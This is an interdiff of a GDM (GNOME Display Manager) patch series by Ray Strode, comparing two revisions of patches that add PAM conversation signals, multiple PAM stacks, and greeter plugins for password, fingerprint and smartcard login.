-@@ -2231,7 +2290,8 @@ gdm_session_direct_select_session (GdmSession *session,
+@@ -2231,7 +2288,8 @@ gdm_session_direct_select_session (GdmSession *session,
                                     const char *text)
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
@@ -4403,7 +4367,7 @@ index b86475c..1c151fd 100644
  
          g_free (impl->priv->selected_session);
  
-@@ -2241,9 +2301,15 @@ gdm_session_direct_select_session (GdmSession *session,
+@@ -2241,9 +2299,15 @@ gdm_session_direct_select_session (GdmSession *session,
                  impl->priv->selected_session = g_strdup (text);
          }
  
@@ -4422,7 +4386,7 @@ index b86475c..1c151fd 100644
  }
  
  static void
-@@ -2251,7 +2317,8 @@ gdm_session_direct_select_language (GdmSession *session,
+@@ -2251,7 +2315,8 @@ gdm_session_direct_select_language (GdmSession *session,
                                      const char *text)
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
@@ -4432,7 +4396,7 @@ index b86475c..1c151fd 100644
  
          g_free (impl->priv->selected_language);
  
-@@ -2261,9 +2328,15 @@ gdm_session_direct_select_language (GdmSession *session,
+@@ -2261,9 +2326,15 @@ gdm_session_direct_select_language (GdmSession *session,
                  impl->priv->selected_language = g_strdup (text);
          }
  
@@ -4451,7 +4415,7 @@ index b86475c..1c151fd 100644
  }
  
  static void
-@@ -2271,7 +2344,8 @@ gdm_session_direct_select_layout (GdmSession *session,
+@@ -2271,7 +2342,8 @@ gdm_session_direct_select_layout (GdmSession *session,
                                    const char *text)
  {
          GdmSessionDirect *impl = GDM_SESSION_DIRECT (session);
@@ -4461,7 +4425,7 @@ index b86475c..1c151fd 100644
  
          g_free (impl->priv->selected_layout);
  
-@@ -2281,9 +2355,15 @@ gdm_session_direct_select_layout (GdmSession *session,
+@@ -2281,9 +2353,15 @@ gdm_session_direct_select_layout (GdmSession *session,
                  impl->priv->selected_layout = g_strdup (text);
          }
  
@@ -6360,13 +6324,13 @@ index cd0cbdf..e856dd4 100644
  
  static int
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 37d0aae4df27dacac5f2720ba5dc2698a03ae04c Mon Sep 17 00:00:00 2001
+From 0da23146a01fe3664b610bb92e68f289912df6a1 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Sat, 7 Feb 2009 11:36:40 -0500
-Subject: [PATCH 28/53] emit "ConversationStopped" signal at end of conv
+Subject: [PATCH 25/48] emit "ConversationStopped" signal at end of conv
 
 This will allow us to track when individual
 PAM conversations fail, instead of doing one
@@ -6437,14 +6401,14 @@ index 6d0dd87..976f0b7 100644
                                                                const char       *text);
  void                gdm_greeter_server_default_language_name_changed (GdmGreeterServer *greeter_server,
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index 1c151fd..dc8b4f6 100644
+index 26e4c2e..f44c88c 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
 @@ -1697,9 +1697,15 @@ worker_exited (GdmSessionWorkerJob *job,
  {
          g_debug ("GdmSessionDirect: Worker job exited: %d", code);
  
-+        g_object_ref (conversation->job);
++        g_object_ref (conversation);
          if (conversation->session->priv->is_running) {
                  _gdm_session_session_exited (GDM_SESSION (conversation->session), code);
          }
@@ -6452,7 +6416,7 @@ index 1c151fd..dc8b4f6 100644
 +        g_debug ("GdmSessionDirect: Emitting conversation-stopped signal");
 +        _gdm_session_conversation_stopped (GDM_SESSION (conversation->session),
 +                                           conversation->service_name);
-+        g_object_unref (conversation->job);
++        g_object_unref (conversation);
  }
  
  static void
@@ -6460,7 +6424,7 @@ index 1c151fd..dc8b4f6 100644
  {
          g_debug ("GdmSessionDirect: Worker job died: %d", signum);
  
-+        g_object_ref (conversation->job);
++        g_object_ref (conversation);
          if (conversation->session->priv->is_running) {
                  _gdm_session_session_died (GDM_SESSION (conversation->session), signum);
          }
@@ -6468,11 +6432,11 @@ index 1c151fd..dc8b4f6 100644
 +        g_debug ("GdmSessionDirect: Emitting conversation-stopped signal");
 +        _gdm_session_conversation_stopped (GDM_SESSION (conversation->session),
 +                                           conversation->service_name);
-+        g_object_unref (conversation->job);
++        g_object_unref (conversation);
  }
  
  static GdmSessionConversation *
-@@ -1784,6 +1796,10 @@ stop_conversation (GdmSessionConversation *conversation)
+@@ -1782,6 +1794,10 @@ stop_conversation (GdmSessionConversation *conversation)
  
          g_object_unref (conversation->job);
          conversation->job = NULL;
@@ -6483,7 +6447,7 @@ index 1c151fd..dc8b4f6 100644
  }
  
  static void
-@@ -1804,6 +1820,25 @@ gdm_session_direct_start_conversation (GdmSession *session,
+@@ -1802,6 +1818,25 @@ gdm_session_direct_start_conversation (GdmSession *session,
  }
  
  static void
@@ -6509,7 +6473,7 @@ index 1c151fd..dc8b4f6 100644
  send_setup (GdmSessionDirect *session,
              const char       *service_name)
  {
-@@ -2623,6 +2658,7 @@ static void
+@@ -2621,6 +2656,7 @@ static void
  gdm_session_iface_init (GdmSessionIface *iface)
  {
          iface->start_conversation = gdm_session_direct_start_conversation;
@@ -6703,38 +6667,13 @@ index 9421a64..6eadf62 100644
                            G_CALLBACK (on_session_setup_complete),
                            slave);
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From a8f8cb3bb02437372bf25e2c2fc709b1bd77feda Mon Sep 17 00:00:00 2001
-From: Ray Strode <rstrode at redhat.com>
-Date: Mon, 26 Oct 2009 10:17:49 -0400
-Subject: [PATCH 29/53] init session pid to -1
-
----
- daemon/gdm-session-direct.c |    1 -
- 1 files changed, 0 insertions(+), 1 deletions(-)
-
-diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index dc8b4f6..e0b5f32 100644
---- a/daemon/gdm-session-direct.c
-+++ b/daemon/gdm-session-direct.c
-@@ -2285,7 +2285,6 @@ gdm_session_direct_close (GdmSession *session)
- 
-         g_hash_table_remove_all (impl->priv->environment);
- 
--        impl->priv->session_pid = -1;
-         impl->priv->is_running = FALSE;
- }
- 
--- 
-1.6.5.1
-
-
-From d5d86aeda45e249d12ea5d708aab78afdfe66053 Mon Sep 17 00:00:00 2001
+From 5e7249e98b90ad1145aa964273ac821ec0282cb0 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 9 Mar 2009 15:41:12 -0400
-Subject: [PATCH 30/53] Don't tear down greeter until pam_open_session finishes
+Subject: [PATCH 26/48] Don't tear down greeter until pam_open_session finishes
 
 Some PAM modules ask questions at that late stage of the game,
 and so we need a greeter to forward the questions on to the
@@ -6862,7 +6801,7 @@ index dd2e1bc..93d83a1 100644
                            "info",
                            G_CALLBACK (on_session_info),
 diff --git a/daemon/gdm-session-direct.c b/daemon/gdm-session-direct.c
-index e0b5f32..738267a 100644
+index f44c88c..b74c765 100644
 --- a/daemon/gdm-session-direct.c
 +++ b/daemon/gdm-session-direct.c
 @@ -940,6 +940,58 @@ gdm_session_direct_handle_problem (GdmSessionDirect *session,
@@ -6935,7 +6874,7 @@ index e0b5f32..738267a 100644
          } else if (dbus_message_is_method_call (message, GDM_SESSION_DBUS_INTERFACE, "SessionStarted")) {
                  return gdm_session_direct_handle_session_started (session, conversation, message);
          } else if (dbus_message_is_method_call (message, GDM_SESSION_DBUS_INTERFACE, "StartFailed")) {
-@@ -2189,6 +2245,19 @@ setup_session_environment (GdmSessionDirect *session)
+@@ -2187,6 +2243,19 @@ setup_session_environment (GdmSessionDirect *session)
  }
  
  static void
@@ -6955,7 +6894,7 @@ index e0b5f32..738267a 100644
  gdm_session_direct_start_session (GdmSession *session,
                                    const char *service_name)
  {
-@@ -2663,6 +2732,7 @@ gdm_session_iface_init (GdmSessionIface *iface)
+@@ -2662,6 +2731,7 @@ gdm_session_iface_init (GdmSessionIface *iface)
          iface->authenticate = gdm_session_direct_authenticate;
          iface->authorize = gdm_session_direct_authorize;
          iface->accredit = gdm_session_direct_accredit;
@@ -7307,13 +7246,13 @@ index 6eadf62..4c68974 100644
                            G_CALLBACK (on_session_info),
                            slave);
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 4a07cc03227aa51b31de8e453d54104cc6fe913b Mon Sep 17 00:00:00 2001
+From 7d76484539ab0f1352d6b4c14511a330798ca1a1 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 30 Jan 2009 23:57:31 -0500
-Subject: [PATCH 31/53] Add limited support for multiple pam stacks
+Subject: [PATCH 27/48] Add limited support for multiple pam stacks
 
 This hard codes 3 pam stacks and doesn't handle
 switching between them very well yet.
@@ -8064,13 +8003,13 @@ index 0000000..ade21b6
 +
 +#endif /* __GDM_TASK_LIST_H */
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 60a24b25f8e225b5549154581500c32b0a1d0575 Mon Sep 17 00:00:00 2001
+From 3dbbff5c47bb30e4c9087a855a7e1304962e8e2b Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Mar 2009 11:19:40 -0500
-Subject: [PATCH 32/53] Create session settings object when first starting worker
+Subject: [PATCH 28/48] Create session settings object when first starting worker
 
 This is because one PAM module may complete before setup
 gets called on another, and when one completes *all* PAM
@@ -8102,13 +8041,13 @@ index 867ce67..9a9f364 100644
  
  static void
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 68083faad5647737421a1a6e922812e9368d839a Mon Sep 17 00:00:00 2001
+From 503324a841febee037ba8a91e47f1bc9c9278241 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Thu, 5 Feb 2009 15:20:25 -0500
-Subject: [PATCH 33/53] Queue a greeter reset when the user clicks cancel
+Subject: [PATCH 29/48] Queue a greeter reset when the user clicks cancel
 
 ---
  daemon/gdm-simple-slave.c |   37 +++++++++++++++++++++++++++++++++++++
@@ -8241,13 +8180,13 @@ index 4c68974..337718b 100644
  }
  
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 1e91c1fef9d7308888143ffcf7358dc85e2c84e7 Mon Sep 17 00:00:00 2001
+From fc7ff7b156213d86afd4ebd7651e2f0657759030 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 16:23:48 -0500
-Subject: [PATCH 34/53] Add a plugin based extension system to greeter
+Subject: [PATCH 30/48] Add a plugin based extension system to greeter
 
 This allows plugins to drive which PAM conversations
 get run.  This commit just adds one plugin "password"
@@ -8258,7 +8197,7 @@ run.
  gui/simple-greeter/Makefile.am                     |   15 +
  gui/simple-greeter/gdm-greeter-client.c            |   21 +
  gui/simple-greeter/gdm-greeter-client.h            |    2 +
- gui/simple-greeter/gdm-greeter-login-window.c      |  675 ++++++++++++++++----
+ gui/simple-greeter/gdm-greeter-login-window.c      |  679 ++++++++++++++++----
  gui/simple-greeter/gdm-greeter-login-window.glade  |  144 +----
  gui/simple-greeter/gdm-greeter-login-window.h      |   21 +-
  gui/simple-greeter/gdm-greeter-plugin.c            |  255 ++++++++
@@ -8284,7 +8223,7 @@ run.
  gui/simple-greeter/plugins/password/page.ui        |   56 ++
  gui/simple-greeter/plugins/password/plugin.c       |   40 ++
  po/POTFILES.in                                     |    1 +
- 30 files changed, 2986 insertions(+), 298 deletions(-)
+ 30 files changed, 2991 insertions(+), 297 deletions(-)
  create mode 100644 gui/simple-greeter/gdm-greeter-plugin.c
  create mode 100644 gui/simple-greeter/gdm-greeter-plugin.h
  create mode 100644 gui/simple-greeter/gdm-plugin-manager.c
@@ -8523,7 +8462,7 @@ index 2f857dc..f879307 100644
          void (* selected_user_changed)   (GdmGreeterClient  *client,
                                            const char        *username);
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 82411d1..c12d6f2 100644
+index 82411d1..7853094 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -1,7 +1,7 @@
@@ -8775,29 +8714,26 @@ index 82411d1..c12d6f2 100644
                  default_name = "log-in-button";
                  break;
          default:
-@@ -508,25 +587,40 @@ switch_mode (GdmGreeterLoginWindow *login_window,
-         }
+@@ -509,24 +588,45 @@ switch_mode (GdmGreeterLoginWindow *login_window,
  }
  
--static void
+ static void
 -delete_entry_text (GtkWidget *entry)
++do_disconnect (GdmGreeterLoginWindow *login_window)
++{
++        gtk_main_quit ();
++}
++
 +static gboolean
 +task_has_service_name (GdmTaskList *task_list,
 +                       GdmTask     *task,
 +                       const char  *service_name)
- {
--        const char *typed_text;
--        char       *null_text;
++{
 +        char *task_service_name;
 +        gboolean has_service_name;
 +
 +        task_service_name = gdm_conversation_get_service_name (GDM_CONVERSATION (task));
- 
--        /* try to scrub out any secret info */
--        typed_text = gtk_entry_get_text (GTK_ENTRY (entry));
--        null_text = g_strnfill (strlen (typed_text) + 1, '\b');
--        gtk_entry_set_text (GTK_ENTRY (entry), null_text);
--        gtk_entry_set_text (GTK_ENTRY (entry), "");
++
 +        has_service_name = strcmp (service_name, task_service_name) == 0;
 +        g_free (task_service_name);
 +
@@ -8808,13 +8744,20 @@ index 82411d1..c12d6f2 100644
 +reset_task (GdmTaskList           *task_list,
 +            GdmTask               *task,
 +            GdmGreeterLoginWindow *login_window)
-+{
+ {
+-        const char *typed_text;
+-        char       *null_text;
 +        char *name;
 +
 +        name = gdm_task_get_name (task);
 +        g_debug ("Resetting task '%s'", name);
 +        g_free (name);
-+
+ 
+-        /* try to scrub out any secret info */
+-        typed_text = gtk_entry_get_text (GTK_ENTRY (entry));
+-        null_text = g_strnfill (strlen (typed_text) + 1, '\b');
+-        gtk_entry_set_text (GTK_ENTRY (entry), null_text);
+-        gtk_entry_set_text (GTK_ENTRY (entry), "");
 +        gdm_conversation_reset (GDM_CONVERSATION (task));
 +        return FALSE;
  }
@@ -8828,7 +8771,7 @@ index 82411d1..c12d6f2 100644
          g_debug ("GdmGreeterLoginWindow: Resetting dialog");
          set_busy (login_window);
          set_sensitive (login_window, FALSE);
-@@ -550,16 +644,12 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
+@@ -550,16 +650,12 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
                  login_window->priv->start_session_handler_id = 0;
          }
  
@@ -8849,7 +8792,7 @@ index 82411d1..c12d6f2 100644
          switch_mode (login_window, MODE_SELECTION);
  
          set_sensitive (login_window, TRUE);
-@@ -583,11 +673,22 @@ do_cancel (GdmGreeterLoginWindow *login_window)
+@@ -583,11 +679,22 @@ do_cancel (GdmGreeterLoginWindow *login_window)
  }
  
  gboolean
@@ -8874,7 +8817,7 @@ index 82411d1..c12d6f2 100644
  
          set_sensitive (GDM_GREETER_LOGIN_WINDOW (login_window), TRUE);
          set_ready (GDM_GREETER_LOGIN_WINDOW (login_window));
-@@ -597,12 +698,63 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window)
+@@ -597,12 +704,63 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window)
  }
  
  gboolean
@@ -8939,7 +8882,7 @@ index 82411d1..c12d6f2 100644
          return TRUE;
  }
  
-@@ -611,12 +763,20 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
+@@ -611,12 +769,20 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
                                 const char            *service_name,
                                 const char            *text)
  {
@@ -8963,7 +8906,7 @@ index 82411d1..c12d6f2 100644
          }
  
          return TRUE;
-@@ -627,13 +787,22 @@ gdm_greeter_login_window_problem (GdmGreeterLoginWindow *login_window,
+@@ -627,13 +793,22 @@ gdm_greeter_login_window_problem (GdmGreeterLoginWindow *login_window,
                                    const char            *service_name,
                                    const char            *text)
  {
@@ -8989,7 +8932,7 @@ index 82411d1..c12d6f2 100644
          gdk_window_beep (GTK_WIDGET (login_window)->window);
  
          return TRUE;
-@@ -671,11 +840,21 @@ gdm_greeter_login_window_request_timed_login (GdmGreeterLoginWindow *login_windo
+@@ -671,11 +846,21 @@ gdm_greeter_login_window_request_timed_login (GdmGreeterLoginWindow *login_windo
  }
  
  static void
@@ -9013,7 +8956,7 @@ index 82411d1..c12d6f2 100644
          } else {
                  g_debug ("GdmGreeterLoginWindow: not starting session since "
                           "user hasn't had an opportunity to pick language "
-@@ -685,8 +864,8 @@ gdm_greeter_login_window_start_session_when_ready (GdmGreeterLoginWindow *login_
+@@ -685,8 +870,8 @@ gdm_greeter_login_window_start_session_when_ready (GdmGreeterLoginWindow *login_
                   */
                  login_window->priv->start_session_handler_id =
                      g_signal_connect (login_window, "notify::is-interactive",
@@ -9024,7 +8967,7 @@ index 82411d1..c12d6f2 100644
  
                  /* FIXME: If the user wasn't asked any questions by pam but
                   * pam still authorized them (passwd -d, or the questions got
-@@ -712,26 +891,24 @@ gdm_greeter_login_window_info_query (GdmGreeterLoginWindow *login_window,
+@@ -712,26 +897,24 @@ gdm_greeter_login_window_info_query (GdmGreeterLoginWindow *login_window,
                                       const char            *service_name,
                                       const char            *text)
  {
@@ -9062,7 +9005,7 @@ index 82411d1..c12d6f2 100644
          set_sensitive (GDM_GREETER_LOGIN_WINDOW (login_window), TRUE);
          set_ready (GDM_GREETER_LOGIN_WINDOW (login_window));
          set_focus (GDM_GREETER_LOGIN_WINDOW (login_window));
-@@ -746,20 +923,23 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
+@@ -746,20 +929,23 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
                                              const char            *service_name,
                                              const char            *text)
  {
@@ -9095,7 +9038,7 @@ index 82411d1..c12d6f2 100644
          set_sensitive (GDM_GREETER_LOGIN_WINDOW (login_window), TRUE);
          set_ready (GDM_GREETER_LOGIN_WINDOW (login_window));
          set_focus (GDM_GREETER_LOGIN_WINDOW (login_window));
-@@ -770,13 +950,16 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
+@@ -770,13 +956,16 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
  }
  
  void
@@ -9115,7 +9058,7 @@ index 82411d1..c12d6f2 100644
  }
  
  static void
-@@ -859,6 +1042,46 @@ on_users_loaded (GdmUserChooserWidget  *user_chooser,
+@@ -859,6 +1048,46 @@ on_users_loaded (GdmUserChooserWidget  *user_chooser,
          gdm_chooser_widget_activate_if_one_item (GDM_CHOOSER_WIDGET (login_window->priv->user_chooser));
  }
  
@@ -9162,7 +9105,7 @@ index 82411d1..c12d6f2 100644
  static void
  on_user_chosen (GdmUserChooserWidget  *user_chooser,
                  GdmGreeterLoginWindow *login_window)
-@@ -876,10 +1099,10 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
+@@ -876,10 +1105,10 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
                         0, user_name);
  
          if (strcmp (user_name, GDM_USER_CHOOSER_USER_OTHER) == 0) {
@@ -9177,7 +9120,7 @@ index 82411d1..c12d6f2 100644
          } else if (strcmp (user_name, GDM_USER_CHOOSER_USER_GUEST) == 0) {
                  /* FIXME: handle guest account stuff */
          } else if (strcmp (user_name, GDM_USER_CHOOSER_USER_AUTO) == 0) {
-@@ -893,10 +1116,10 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
+@@ -893,10 +1122,10 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
                  set_log_in_button_mode (login_window, LOGIN_BUTTON_TIMED_LOGIN);
                  set_message (login_window, _("Select language and click Log In"));
          } else {
@@ -9192,7 +9135,7 @@ index 82411d1..c12d6f2 100644
          }
  
          switch_mode (login_window, MODE_AUTHENTICATION);
-@@ -1042,17 +1265,65 @@ create_computer_info (GdmGreeterLoginWindow *login_window)
+@@ -1042,17 +1271,65 @@ create_computer_info (GdmGreeterLoginWindow *login_window)
  
  static void
  on_task_activated (GdmGreeterLoginWindow *login_window,
@@ -9263,7 +9206,7 @@ index 82411d1..c12d6f2 100644
  }
  
  static GtkWidget *
-@@ -1089,7 +1360,6 @@ custom_widget_constructor (GladeXML              *xml,
+@@ -1089,7 +1366,6 @@ custom_widget_constructor (GladeXML              *xml,
  static void
  load_theme (GdmGreeterLoginWindow *login_window)
  {
@@ -9271,7 +9214,7 @@ index 82411d1..c12d6f2 100644
          GtkWidget *button;
          GtkWidget *box;
          GtkWidget *image;
-@@ -1169,27 +1439,13 @@ load_theme (GdmGreeterLoginWindow *login_window)
+@@ -1169,27 +1445,13 @@ load_theme (GdmGreeterLoginWindow *login_window)
                                    login_window);
          gtk_widget_show (login_window->priv->conversation_list);
  
@@ -9300,7 +9243,7 @@ index 82411d1..c12d6f2 100644
          create_computer_info (login_window);
  
          box = glade_xml_get_widget (login_window->priv->xml, "computer-info-event-box");
-@@ -1431,9 +1687,9 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
+@@ -1431,9 +1693,9 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
                                G_STRUCT_OFFSET (GdmGreeterLoginWindowClass, start_session),
                                NULL,
                                NULL,
@@ -9312,7 +9255,7 @@ index 82411d1..c12d6f2 100644
  
          g_object_class_install_property (object_class,
                                           PROP_DISPLAY_IS_LOCAL,
-@@ -1486,6 +1742,187 @@ on_gconf_key_changed (GConfClient           *client,
+@@ -1486,6 +1748,187 @@ on_gconf_key_changed (GConfClient           *client,
          }
  }
  
@@ -12434,23 +12377,23 @@ index 9fb8a48..3963bd6 100644
  gui/user-switch-applet/gdm-entry-menu-item.c
  gui/user-switch-applet/GNOME_FastUserSwitchApplet.server.in.in
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 35d7721af1d7718418616e15023487cb895d96e5 Mon Sep 17 00:00:00 2001
+From d1e3b2fdc823978aee78d9ae95d6a9f87b863468 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Sat, 7 Feb 2009 21:17:49 -0500
-Subject: [PATCH 35/53] Force session reset if all PAM conversations fail
+Subject: [PATCH 31/48] Force session reset if all PAM conversations fail
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |   22 +++++++++++++++++++---
  1 files changed, 19 insertions(+), 3 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index c12d6f2..37f0c40 100644
+index 7853094..fb64a4a 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -663,15 +663,21 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
+@@ -669,15 +669,21 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
  }
  
  static void
@@ -12475,7 +12418,7 @@ index c12d6f2..37f0c40 100644
  gboolean
  gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
                                  const char            *service_name)
-@@ -717,6 +723,16 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
+@@ -785,6 +791,16 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
                  g_object_unref (task);
          }
  
@@ -12493,13 +12436,13 @@ index c12d6f2..37f0c40 100644
  }
  
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 20b4038bef56b0e6d0db25992c5210fd38d01d4e Mon Sep 17 00:00:00 2001
+From dfcd88875919a557296439ebdfecaabf78649665 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 18 Feb 2009 12:32:39 -0500
-Subject: [PATCH 36/53] Add a way for plugins to pick users from list
+Subject: [PATCH 32/48] Add a way for plugins to pick users from list
 
 The smartcard plugin is going to want to
 start its conversation as soon as the card
@@ -12511,10 +12454,10 @@ gets plugged in.
  3 files changed, 74 insertions(+), 0 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 37f0c40..cb65be6 100644
+index fb64a4a..799603e 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1777,6 +1777,34 @@ on_conversation_answer (GdmGreeterLoginWindow *login_window,
+@@ -1783,6 +1783,34 @@ on_conversation_answer (GdmGreeterLoginWindow *login_window,
          set_ready (login_window);
  }
  
@@ -12549,7 +12492,7 @@ index 37f0c40..cb65be6 100644
  void
  gdm_greeter_login_window_remove_extension (GdmGreeterLoginWindow *login_window,
   GdmGreeterExtension *extension)
-@@ -1914,6 +1942,14 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -1920,6 +1948,14 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
                                    "answer",
                                    G_CALLBACK (on_conversation_answer),
                                    login_window);
@@ -12650,13 +12593,13 @@ index f1910cf..fb4bf49 100644
  G_END_DECLS
  
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 9e33e5d7726c70973a5e616c8e533bafa23cfd64 Mon Sep 17 00:00:00 2001
+From 39b4c1f3dd70b023c183b2d41bd39f483f61f991 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 14:05:20 -0500
-Subject: [PATCH 37/53] Add new api to ask when chooser widget is done loading items
+Subject: [PATCH 33/48] Add new api to ask when chooser widget is done loading items
 
 ---
  gui/simple-greeter/gdm-chooser-widget.c |    9 +++++++++
@@ -12706,13 +12649,13 @@ index 7e3e59c..6a07843 100644
   */
  void           gdm_chooser_widget_loaded                       (GdmChooserWidget          *widget);
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 6b5f0a616b4095b66733065f0f1802633f0ec107 Mon Sep 17 00:00:00 2001
+From 20ee7a297a032e2c977045d011c6d99fdff0da66 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 14:31:27 -0500
-Subject: [PATCH 38/53] Tell tasks they're ready only after user list loads
+Subject: [PATCH 34/48] Tell tasks they're ready only after user list loads
 
 This way they won't try to access the list prematurely.
 ---
@@ -12720,10 +12663,10 @@ This way they won't try to access the li
  1 files changed, 27 insertions(+), 1 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index cb65be6..e316174 100644
+index 799603e..58625b3 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -678,6 +678,27 @@ do_cancel (GdmGreeterLoginWindow *login_window)
+@@ -684,6 +684,27 @@ do_cancel (GdmGreeterLoginWindow *login_window)
          restart_conversations (login_window);
  }
  
@@ -12751,7 +12694,7 @@ index cb65be6..e316174 100644
  gboolean
  gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
                                  const char            *service_name)
-@@ -692,7 +713,12 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
+@@ -698,7 +719,12 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
                                             (gpointer) service_name);
  
          if (task != NULL) {
@@ -12766,13 +12709,13 @@ index cb65be6..e316174 100644
          }
  
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 402aeac71a440e00144a57dc99f99e5a47fde286 Mon Sep 17 00:00:00 2001
+From 5f1fdf2186b4bebbf8218c3ca08bd716c0767087 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 16:25:47 -0500
-Subject: [PATCH 39/53] Add fingerprint plugin
+Subject: [PATCH 35/48] Add fingerprint plugin
 
 This commit adds a plugin to initiate a conversation for
 fingerprint scans.
@@ -13411,13 +13354,13 @@ index 0000000..5ea9925
 +        return GDM_GREETER_EXTENSION (extension);
 +}
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 10ffdab61f62aa4ec68ff1c6cda99b3d27dec796 Mon Sep 17 00:00:00 2001
+From 8e46ce389a9fb76a0808e170f10d33af677ad9f8 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 11 Feb 2009 08:47:52 -0500
-Subject: [PATCH 40/53] Add start of a smartcard plugin
+Subject: [PATCH 36/48] Add start of a smartcard plugin
 
 It contains a copy and paste of an old RHEL patch
 I did a few years ago.
@@ -16691,13 +16634,13 @@ index 3963bd6..4d219fb 100644
  gui/user-switch-applet/gdm-entry-menu-item.c
  gui/user-switch-applet/GNOME_FastUserSwitchApplet.server.in.in
 -- 
-1.6.5.1
+1.6.5.rc2
 
 
-From 393c0519bc2d08420c2b19b6e513909d1199b8b7 Mon Sep 17 00:00:00 2001
+From bd66f351d61a9cce64c3843d2b55055c1dc44853 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 23 Feb 2009 17:57:06 -0500
-Subject: [PATCH 41/53] Add a new "choosable" property to show tasks in user list
+Subject: [PATCH 37/48] Add a new "choosable" property to show tasks in user list
 
 Useful for Smartcard and some future "Guest" account plugin
 ---
@@ -16710,10 +16653,10 @@ Useful for Smartcard and some future "Gu
  6 files changed, 39 insertions(+), 3 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index e316174..a43a462 100644
+index 58625b3..e095b4e 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1983,9 +1983,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -1989,9 +1989,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
